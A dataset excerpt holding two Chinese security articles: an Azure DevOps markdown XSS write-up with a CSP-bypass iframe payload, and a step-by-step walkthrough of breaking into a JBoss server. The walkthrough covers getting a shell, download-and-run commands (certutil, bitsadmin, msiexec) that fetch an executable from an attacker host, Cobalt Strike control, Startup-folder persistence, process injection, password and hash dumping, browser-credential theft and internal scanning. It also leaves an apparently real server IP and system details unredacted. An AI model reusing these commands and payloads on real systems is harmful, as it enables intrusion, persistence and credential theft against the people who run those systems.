text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
# 前言
最近，微软针对AzureDevOps推出了一项新的赏金计划。一个新的漏洞赏金计划总是非常诱人，话不多讲，开始我们的赏金之旅！
# 相关细节
我们的目标是`https://dev.azure.com`，这是一个由Microsoft开发的git
web服务器。我在其中的markdown编辑器中发现了一个XSS漏洞。
在你创建pull请求时，你可以使用markdown添加一些注释。markdown的渲染未能很好地转义某些字符，这导致了XSS。
我只需在markdown中复制并粘贴由@ZehrFish提供的大量[XSS
payload](https://github.com/ZephrFish/XSSPayloads/blob/master/raw_payloads
"XSS
payload")，浏览器就会将我重定向到一个奇怪的url。我试图找出最短的payload，经过多次尝试，我发现如果我把HTML代码放在2个`$`和一个`%`中间，则html标记将神奇地呈现在响应页面中。
$%<img src=1>$
我尝试使用img的on error来触发XSS，但没有反应。但我在Chrome的控制台中看到了以下错误。
1?_a=overview:1 Refused to execute inline event handler because it violates the following Content Security Policy directive: "script-src 'unsafe-inline' *.visualstudio.com *.dev.azure.com dev.azure.com https://cdn.vsassets.io https://vsassetscdn.azure.cn https://ms.gallery.vsassets.io https://ms.gallerycdn.vsassets.io https://ms.gallerycdn.azure.cn *.ensighten.com *.microsoft.com *.google-analytics.com 'nonce-JNv3ZUluxXSBwNijHMtlKg=='". Note that 'unsafe-inline' is ignored if either a hash or nonce value is present in the source list.
恍然大明白——被CSP拦截了。如果源列表中存在哈希值或nonce值，则忽略`unsafe-inline`。
当我尝试`<script>alert(1)</script>`时候，CSP表示`unsafe-eval`，即评估不安全。
好的，由于`dev.azure.com`本身位于白名单中，我选择将脚本标记的`SRC`指向一个包含`payload`的`repo`文件。
WTF???看起来脚本受到了前端框架的影响。我需要找到一些方法来绕过CSP，或者绕过钩子。
下面是完整的CSP。
content-security-policy: default-src 'none'; font-src *.visualstudio.com *.dev.azure.com dev.azure.com *.vsassets.io vsassetscdn.azure.cn ms.gallery.vsassets.io ms.gallerycdn.vsassets.io ms.gallerycdn.azure.cn *.microsoft.com *.sharepointonline.com; style-src 'unsafe-inline' *.visualstudio.com *.dev.azure.com dev.azure.com cdn.vsassets.io vsassetscdn.azure.cn ms.gallery.vsassets.io ms.gallerycdn.vsassets.io ms.gallerycdn.azure.cn; connect-src *.visualstudio.com wss://*.visualstudio.com *.dev.azure.com dev.azure.com wss://*.dev.azure.com wss://dev.azure.com *.vsassets.io vsassetscdn.azure.cn ms.gallery.vsassets.io ms.gallerycdn.vsassets.io ms.gallerycdn.azure.cn *.blob.core.windows.net; img-src http: https: blob: data:; script-src 'unsafe-inline' *.visualstudio.com *.dev.azure.com dev.azure.com https://cdn.vsassets.io https://vsassetscdn.azure.cn https://ms.gallery.vsassets.io https://ms.gallerycdn.vsassets.io https://ms.gallerycdn.azure.cn *.ensighten.com *.microsoft.com *.google-analytics.com 'nonce-BByveBAMp0eRn6Ll29C7Lw=='; child-src * blob: tfs:; frame-src * blob: tfs:; media-src http: https:;
`frame-src * blob: tfs:;`引起了我的注意，`iframe`或许可以试一试！
最终payload
$
<iframe srcdoc="<script src='https://dev.azure.com/md5_salt/deadbeef-1337-1337-1337-1337/_apis/git/repositories/deadbeef-1337-1337-1337-1337/Items?path=%2F1.js&versionDescriptor%5BversionOptions%5D=0&versionDescriptor%5BversionType%5D=0&versionDescriptor%5Bversion%5D=master&download=true&resolveLfs=true&%24format=octetStream&api-version=5.0-preview.1'></script>"></iframe>
$
最终alert弹了出来！XD
# 时间线
2019年1月19日 向Microsoft报告此XSS。
2019年1月25日 Microsoft确认了此bug。
2019年2月6日，标记为CVE-2019-0742
2019年2月7日 Microsoft同意打完补丁以后公布漏洞细节
2019年2月26日 公开披露
https://5alt.me/2019/02/xss-in-azure-devops/ | 社区文章 |
# 工具准备
[jexboss](https://github.com/joaomatosf/jexboss)
Kali Linux
CS 4.3
[Windows杀软在线查询一](https://www.ddosi.org/av/1.php)
[Windows杀软在线查询二](https://www.adminxe.com/CompareAV/index.php)
[Windows杀软在线查询三](http://payloads.net/kill_software/)
[BrowserGhost](https://github.com/QAX-A-Team/BrowserGhost)
[fscan](https://github.com/shadow1ng/fscan)
[向日葵](https://sunlogin.oray.com/download?categ=personal)
# 外网打点
1、在一次红蓝对抗时，发现了jboss反序列化漏洞，真的是老天爷赏饭吃
2、利用jexboss直接拿shell
python jexboss.py -u http://xx.xx.xx.xx/
3、查看当前用户`whoami`，管理员权限
4、查看IP地址`ipconfig`
5、查看是否有杀软`tasklist /svc`
6、将查询的内容粘贴到Windows杀软在线查询，发现不存在杀软
7、查看服务器是否出网`ping www.baidu.com`，很不错，服务器出网
# CS上线
1、启动C2服务器，生成powershell上线语句`攻击 -> web钓鱼 -> web投递`
2、将生成的powershell语句在jexbos shell中执行，发现CS无法上线，推测可能禁用powershell
3、powershell无法成功，我们下载exe文件到服务器，由于目标是windows服务器，需要执行Windows的下载命令，下载完成后，执行`dir`验证下载成功
certutil -urlcache -split -f http://xx.xx.xx.xx:81/bypass123.exe
bitsadmin /transfer myDownLoadJob /download /priority normal http://xx.xx.xx.xx:81/bypass123.exe c:\windows\temp\bypass123.exe
msiexec /q /i http://xx.xx.xx.xx:81/bypass123.exe
4、执行111.exe文件，CS成功上线
# 权限维持
### 设置延迟时间
1、一般我会设置为sleep 2，不快不慢刚刚好。
### 进程迁移
1、首先查看进程列表`浏览探测 -> 进程列表`
2、选择需要注入的进程并点击inject进行注入（进程可以选择一些比较常见的，不会常关闭的进程，如explorer.exe），然后便可以获取一个基于explorer.exe的shell。
### 启动项
1、将需要执行的exe文件复制到启动文件夹下即可。 复制到的路径是windows启动路径，当系统重启之后，会默认运行里面的程序
shell copy "111.exe" "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\"
# 主机信息收集
### 版本信息和补丁
1、主要查看主机版本信息和补丁`shell systeminfo`，以下是详细内容，发现是`Windows server 2012 R2`
Nombre de host: WIN-VG2ABKNMR7G
Nombre del sistema operativo: Microsoft Windows Server 2012 R2 Standard
Versión del sistema operativo: 6.3.9600 N/D Compilación 9600
Fabricante del sistema operativo: Microsoft Corporation
Configuración del sistema operativo: Servidor independiente
Tipo de compilación del sistema operativo: Multiprocessor Free
Propiedad de: Usuario de Windows
Organización registrada:
Id. del producto: 00252-70000-00000-AA535
Fecha de instalación original: 01/03/2022, 05:30:55 p. m.
Tiempo de arranque del sistema: 14/01/2023, 10:17:27 a. m.
Fabricante del sistema: Dell Inc.
Modelo el sistema: Precision T1500
Tipo de sistema: x64-based PC
Procesador(es): 1 Procesadores instalados.
[01]: Intel64 Family 6 Model 30 Stepping 5 GenuineIntel ~1333 Mhz
Versión del BIOS: Dell Inc. 2.2.0, 06/07/2010
Directorio de Windows: C:\Windows
Directorio de sistema: C:\Windows\system32
Dispositivo de arranque: \Device\HarddiskVolume1
Configuración regional del sistema: es-mx;Español (México)
Idioma de entrada: N/D
Zona horaria: (UTC-06:00) Guadalajara, Ciudad de México, Monterrey
Cantidad total de memoria física: 8,151 MB
Memoria física disponible: 3,276 MB
Memoria virtual: tamaño máximo: 28,872 MB
Memoria virtual: disponible: 3,029 MB
Memoria virtual: en uso: 25,843 MB
Ubicación(es) de archivo de paginación: C:\pagefile.sys
Dominio: WORKGROUP
Servidor de inicio de sesión: \\WIN-VG2ABKNMR7G
Revisión(es): 31 revisión(es) instaladas.
[01]: KB2959936
[02]: KB2896496
[03]: KB2919355
[04]: KB2920189
[05]: KB2928120
[06]: KB2931358
[07]: KB2931366
[08]: KB2933826
[09]: KB2938772
[10]: KB2949621
[11]: KB2954879
[12]: KB2958262
[13]: KB2958263
[14]: KB2961072
[15]: KB2965500
[16]: KB2966407
[17]: KB2967917
[18]: KB2971203
[19]: KB2971850
[20]: KB2973351
[21]: KB2973448
[22]: KB2975061
[23]: KB2976627
[24]: KB2977629
[25]: KB2981580
[26]: KB2987107
[27]: KB2989647
[28]: KB2998527
[29]: KB3000850
[30]: KB3003057
[31]: KB3014442
Tarjeta(s) de red: 1 Tarjetas de interfaz de red instaladas.
[01]: Gigabit Ethernet Broadcom NetLink (TM)
Nombre de conexión: Ethernet
DHCP habilitado: No
Direcciones IP
[01]: 148.204.110.122
[02]: fe80::158e:f622:de98:a186
Requisitos Hyper-V: Extensiones de modo de monitor de VM: Sí
Se habilitó la virtualización en el firmware: Sí
Traducción de direcciones de segundo nivel: Sí
La prevención de ejecución de datos está disponible: Sí
### 网络信息
1、执行`shell ipconfig /all`发现有2张网卡
Configuración IP de Windows
Nombre de host. . . . . . . . . : WIN-VG2ABKNMR7G
Sufijo DNS principal . . . . . :
Tipo de nodo. . . . . . . . . . : híbrido
Enrutamiento IP habilitado. . . : no
Proxy WINS habilitado . . . . . : no
Adaptador de Ethernet Ethernet:
Sufijo DNS específico para la conexión. . :
Descripción . . . . . . . . . . . . . . . : Gigabit Ethernet Broadcom NetLink (TM)
Dirección física. . . . . . . . . . . . . : A4-BA-DB-FE-C5-77
DHCP habilitado . . . . . . . . . . . . . : no
Configuración automática habilitada . . . : sí
Vínculo: dirección IPv6 local. . . : fe80::158e:f622:de98:a186%12(Preferido)
Dirección IPv4. . . . . . . . . . . . . . : xx.xx.xx.xx(Preferido)
Máscara de subred . . . . . . . . . . . . : 255.255.255.192
Puerta de enlace predeterminada . . . . . : fe80::21f:45ff:fe9d:1f1e%12
148.204.110.126
IAID DHCPv6 . . . . . . . . . . . . . . . : 212122331
DUID de cliente DHCPv6. . . . . . . . . . : 00-01-00-01-29-B0-65-96-A4-BA-DB-FE-C5-77
Servidores DNS. . . . . . . . . . . . . . : 148.204.103.2
148.204.235.2
NetBIOS sobre TCP/IP. . . . . . . . . . . : habilitado
Adaptador de túnel isatap.{D51A58FE-829F-40A3-B748-DAB7877AB295}:
Estado de los medios. . . . . . . . . . . : medios desconectados
Sufijo DNS específico para la conexión. . :
Descripción . . . . . . . . . . . . . . . : Adaptador ISATAP de Microsoft
Dirección física. . . . . . . . . . . . . : 00-00-00-00-00-00-00-E0
DHCP habilitado . . . . . . . . . . . . . : no
Configuración automática habilitada . . . : sí
Adaptador de túnel 6TO4 Adapter:
Sufijo DNS específico para la conexión. . :
Descripción . . . . . . . . . . . . . . . : Adaptador 6to4 de Microsoft
Dirección física. . . . . . . . . . . . . : 00-00-00-00-00-00-00-E0
DHCP habilitado . . . . . . . . . . . . . : no
Configuración automática habilitada . . . : sí
Dirección IPv6 . . . . . . . . . . : 2002:94cc:6e7a::94cc:6e7a(Preferido)
Puerta de enlace predeterminada . . . . . :
IAID DHCPv6 . . . . . . . . . . . . . . . : 385875968
DUID de cliente DHCPv6. . . . . . . . . . : 00-01-00-01-29-B0-65-96-A4-BA-DB-FE-C5-77
Servidores DNS. . . . . . . . . . . . . . : 148.204.103.2
148.204.235.2
NetBIOS sobre TCP/IP. . . . . . . . . . . : deshabilitado
### 路由表
shell arp -a
### 端口占用情况
1、主要查看开放哪些端口，发现开放445、3306等端口
shell netstat -ano
Proto Dirección local Dirección remota Estado PID
TCP 0.0.0.0:80 0.0.0.0:0 LISTENING 2488
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 612
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:1090 0.0.0.0:0 LISTENING 2488
TCP 0.0.0.0:1091 0.0.0.0:0 LISTENING 2488
TCP 0.0.0.0:1098 0.0.0.0:0 LISTENING 2488
TCP 0.0.0.0:1099 0.0.0.0:0 LISTENING 2488
TCP 0.0.0.0:3306 0.0.0.0:0 LISTENING 1036
TCP 0.0.0.0:3873 0.0.0.0:0 LISTENING 2488
TCP 0.0.0.0:4446 0.0.0.0:0 LISTENING 2488
TCP 0.0.0.0:4712 0.0.0.0:0 LISTENING 2488
TCP 0.0.0.0:4713 0.0.0.0:0 LISTENING 2488
TCP 0.0.0.0:5445 0.0.0.0:0 LISTENING 2488
TCP 0.0.0.0:5455 0.0.0.0:0 LISTENING 2488
TCP 0.0.0.0:5500 0.0.0.0:0 LISTENING 2488
TCP 0.0.0.0:5501 0.0.0.0:0 LISTENING 2488
TCP 0.0.0.0:5985 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:8009 0.0.0.0:0 LISTENING 2488
TCP 0.0.0.0:8083 0.0.0.0:0 LISTENING 2488
TCP 0.0.0.0:47001 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:49152 0.0.0.0:0 LISTENING 408
TCP 0.0.0.0:49153 0.0.0.0:0 LISTENING 724
TCP 0.0.0.0:49154 0.0.0.0:0 LISTENING 764
TCP 0.0.0.0:49155 0.0.0.0:0 LISTENING 504
TCP 0.0.0.0:49156 0.0.0.0:0 LISTENING 868
TCP 0.0.0.0:49157 0.0.0.0:0 LISTENING 496
TCP 127.0.0.1:3306 127.0.0.1:49189 ESTABLISHED 1036
TCP 127.0.0.1:4714 0.0.0.0:0 LISTENING 2488
TCP 127.0.0.1:49189 127.0.0.1:3306 ESTABLISHED 2904
TCP 127.0.0.1:49278 127.0.0.1:49279 ESTABLISHED 2488
TCP 127.0.0.1:49279 127.0.0.1:49278 ESTABLISHED 2488
TCP 127.0.0.1:49280 127.0.0.1:49281 ESTABLISHED 2488
TCP 127.0.0.1:49281 127.0.0.1:49280 ESTABLISHED 2488
TCP 127.0.0.1:49282 127.0.0.1:49283 ESTABLISHED 2488
TCP 127.0.0.1:49283 127.0.0.1:49282 ESTABLISHED 2488
TCP 127.0.0.1:49284 127.0.0.1:49285 ESTABLISHED 2488
TCP 127.0.0.1:49285 127.0.0.1:49284 ESTABLISHED 2488
TCP 127.0.0.1:49286 127.0.0.1:49287 ESTABLISHED 2488
TCP 127.0.0.1:49287 127.0.0.1:49286 ESTABLISHED 2488
TCP xx.xx.xx.xx:80 163.123.142.210:38258 CLOSE_WAIT 2488
TCP xx.xx.xx.xx:80 163.123.142.210:38420 CLOSE_WAIT 2488
TCP xx.xx.xx.xx:80 163.123.142.210:40960 CLOSE_WAIT 2488
TCP xx.xx.xx.xx:80 163.123.142.210:45690 CLOSE_WAIT 2488
TCP xx.xx.xx.xx:80 163.123.142.210:52016 CLOSE_WAIT 2488
TCP xx.xx.xx.xx:80 163.123.142.210:52522 CLOSE_WAIT 2488
TCP xx.xx.xx.xx:80 163.123.142.210:53340 CLOSE_WAIT 2488
TCP xx.xx.xx.xx:80 163.123.142.210:53652 CLOSE_WAIT 2488
TCP xx.xx.xx.xx:80 163.123.142.210:59488 CLOSE_WAIT 2488
TCP xx.xx.xx.xx:80 222.210.45.223:56258 CLOSE_WAIT 2488
TCP xx.xx.xx.xx:80 222.210.45.223:56260 CLOSE_WAIT 2488
TCP xx.xx.xx.xx:80 222.210.45.223:56262 CLOSE_WAIT 2488
TCP xx.xx.xx.xx:80 222.210.45.223:56264 CLOSE_WAIT 2488
TCP xx.xx.xx.xx:139 0.0.0.0:0 LISTENING 4
TCP xx.xx.xx.xx:52474 163.123.142.210:80 CLOSE_WAIT 3364
TCP xx.xx.xx.xx:53145 163.123.142.210:80 CLOSE_WAIT 3356
TCP xx.xx.xx.xx:57861 163.123.142.210:80 CLOSE_WAIT 3096
TCP xx.xx.xx.xx:58182 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58248 172.67.190.34:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58253 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58264 104.21.10.120:8443 ESTABLISHED 3760
TCP xx.xx.xx.xx:58288 104.21.10.120:8443 ESTABLISHED 4076
TCP xx.xx.xx.xx:58357 172.67.190.34:8443 ESTABLISHED 3788
TCP xx.xx.xx.xx:58361 104.21.10.120:8443 ESTABLISHED 3552
TCP xx.xx.xx.xx:58365 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58366 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58369 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58370 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58375 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58376 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58377 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58378 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58381 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58382 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58384 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58385 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58389 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58390 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58395 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58396 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58398 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58399 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58401 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58402 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58403 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58404 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58406 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58407 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58408 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58414 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58415 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58420 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58421 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58423 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58424 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58426 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58427 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58428 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58429 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58435 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58436 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58438 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58439 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58441 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58442 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58445 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58446 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58448 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58449 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58454 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58455 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58458 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58459 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58463 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58464 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58465 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58466 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58467 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58472 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58474 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58476 172.67.190.34:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58477 172.67.190.34:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58479 172.67.190.34:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58480 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58482 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58484 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58485 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58486 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58488 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58489 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58490 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58491 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58492 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58493 104.21.10.120:8443 ESTABLISHED 3760
TCP xx.xx.xx.xx:58494 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58500 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58501 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58504 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58505 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58506 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58509 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58510 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58512 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58515 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58519 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58522 104.21.10.120:8443 ESTABLISHED 4076
TCP xx.xx.xx.xx:58523 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58524 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58527 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58528 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58529 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58530 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58531 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58533 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58538 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58539 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58541 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58543 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58545 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58546 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58547 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58548 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58549 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58550 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58556 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58557 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58558 45.142.122.11:8080 FIN_WAIT_1 1416
TCP xx.xx.xx.xx:58561 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58562 45.142.122.11:8080 FIN_WAIT_1 3028
TCP xx.xx.xx.xx:58563 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58564 217.182.205.238:8080 FIN_WAIT_1 3656
TCP xx.xx.xx.xx:58566 51.15.55.162:14444 ESTABLISHED 3656
TCP xx.xx.xx.xx:58567 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58568 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58569 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58570 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58572 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58575 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58578 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58579 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58581 51.15.67.17:14444 ESTABLISHED 3028
TCP xx.xx.xx.xx:58582 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58583 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58584 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58585 172.67.190.34:8443 ESTABLISHED 3788
TCP xx.xx.xx.xx:58586 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58587 51.255.34.80:14444 ESTABLISHED 1416
TCP xx.xx.xx.xx:58588 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58589 104.21.10.120:8443 TIME_WAIT 0
TCP xx.xx.xx.xx:58590 104.21.10.120:8443 ESTABLISHED 3552
TCP xx.xx.xx.xx:58595 104.21.10.120:8443 ESTABLISHED 1528
TCP xx.xx.xx.xx:58596 104.21.10.120:8443 ESTABLISHED 3348
TCP xx.xx.xx.xx:58598 104.21.10.120:8443 ESTABLISHED 1528
TCP xx.xx.xx.xx:58600 172.94.15.211:5443 SYN_SENT 3028
TCP xx.xx.xx.xx:58601 104.21.10.120:8443 ESTABLISHED 3348
TCP xx.xx.xx.xx:64528 212.119.29.135:443 ESTABLISHED 1112
TCP [::]:80 [::]:0 LISTENING 2488
TCP [::]:135 [::]:0 LISTENING 612
TCP [::]:445 [::]:0 LISTENING 4
TCP [::]:1090 [::]:0 LISTENING 2488
TCP [::]:1091 [::]:0 LISTENING 2488
TCP [::]:1098 [::]:0 LISTENING 2488
TCP [::]:1099 [::]:0 LISTENING 2488
TCP [::]:3873 [::]:0 LISTENING 2488
TCP [::]:4446 [::]:0 LISTENING 2488
TCP [::]:4712 [::]:0 LISTENING 2488
TCP [::]:4713 [::]:0 LISTENING 2488
TCP [::]:5445 [::]:0 LISTENING 2488
TCP [::]:5455 [::]:0 LISTENING 2488
TCP [::]:5500 [::]:0 LISTENING 2488
TCP [::]:5501 [::]:0 LISTENING 2488
TCP [::]:5985 [::]:0 LISTENING 4
TCP [::]:8009 [::]:0 LISTENING 2488
TCP [::]:8083 [::]:0 LISTENING 2488
TCP [::]:47001 [::]:0 LISTENING 4
TCP [::]:49152 [::]:0 LISTENING 408
TCP [::]:49153 [::]:0 LISTENING 724
TCP [::]:49154 [::]:0 LISTENING 764
TCP [::]:49155 [::]:0 LISTENING 504
TCP [::]:49156 [::]:0 LISTENING 868
TCP [::]:49157 [::]:0 LISTENING 496
UDP 0.0.0.0:500 *:* 764
UDP 0.0.0.0:4500 *:* 764
UDP 0.0.0.0:5355 *:* 880
UDP xx.xx.xx.xx:137 *:* 4
UDP xx.xx.xx.xx:138 *:* 4
UDP [::]:500 *:* 764
UDP [::]:4500 *:* 764
UDP [::]:5355 *:* 880
### 是否域环境
1、`shell net time /domain`，不存在域环境
2、`ipconfig /all`，不存在域环境
3、`systeminfo`，不存在域环境
### 抓取浏览器保存的账户密码
1、上传`BrowserGhost`到CS中，然后执行BrowserGhost，发现浏览器中保存的url及账号密码，发现没有任何结果
shell "C:\Users\Administrador\Desktop\jboss-6.1.0.Final\bin\BrowserGhost.exe"
### 自带功能
#### 抓取hash和明文密码
1、选中目标，鼠标右键`凭证提取 -> 抓取hash`
2、选中目标，鼠标右键`凭证提取 -> 抓取明文密码`
3、选择左上角`视图 -> 密码凭证`即可查看结果
#### VNC桌面交互
1、选中目录，鼠标右键`浏览探测 -> vnc桌面交互`
#### 网络探测
1、选中目录，鼠标右键`浏览探测 -> 网络探测`
#### 端口扫描
1、选中目录，鼠标右键`浏览探测 -> 端口扫描`
#### 目录列表
1、选择左上角`视图 -> 目录列表`查看探测存活的IP
# 内网渗透
### fscan工具扫描
1、将fscan上传到受害主机
2、执行命令扫描当前主机所在C段
shell "C:\Users\Administrador\Desktop\jboss-6.1.0.Final\bin\fscan64.exe" -h xx.xx.xx.1/24
start infoscan
(icmp) Target xx.xx.xx.67 is alive
(icmp) Target xx.xx.xx.71 is alive
(icmp) Target xx.xx.xx.5 is alive
(icmp) Target xx.xx.xx.101 is alive
(icmp) Target xx.xx.xx.113 is alive
(icmp) Target xx.xx.xx.74 is alive
(icmp) Target xx.xx.xx.68 is alive
(icmp) Target xx.xx.xx.xx is alive
(icmp) Target xx.xx.xx.96 is alive
(icmp) Target xx.xx.xx.69 is alive
(icmp) Target xx.xx.xx.111 is alive
(icmp) Target xx.xx.xx.115 is alive
(icmp) Target xx.xx.xx.85 is alive
(icmp) Target xx.xx.xx.110 is alive
(icmp) Target xx.xx.xx.72 is alive
(icmp) Target xx.xx.xx.124 is alive
(icmp) Target xx.xx.xx.125 is alive
(icmp) Target xx.xx.xx.105 is alive
(icmp) Target xx.xx.xx.92 is alive
(icmp) Target xx.xx.xx.99 is alive
(icmp) Target xx.xx.xx.119 is alive
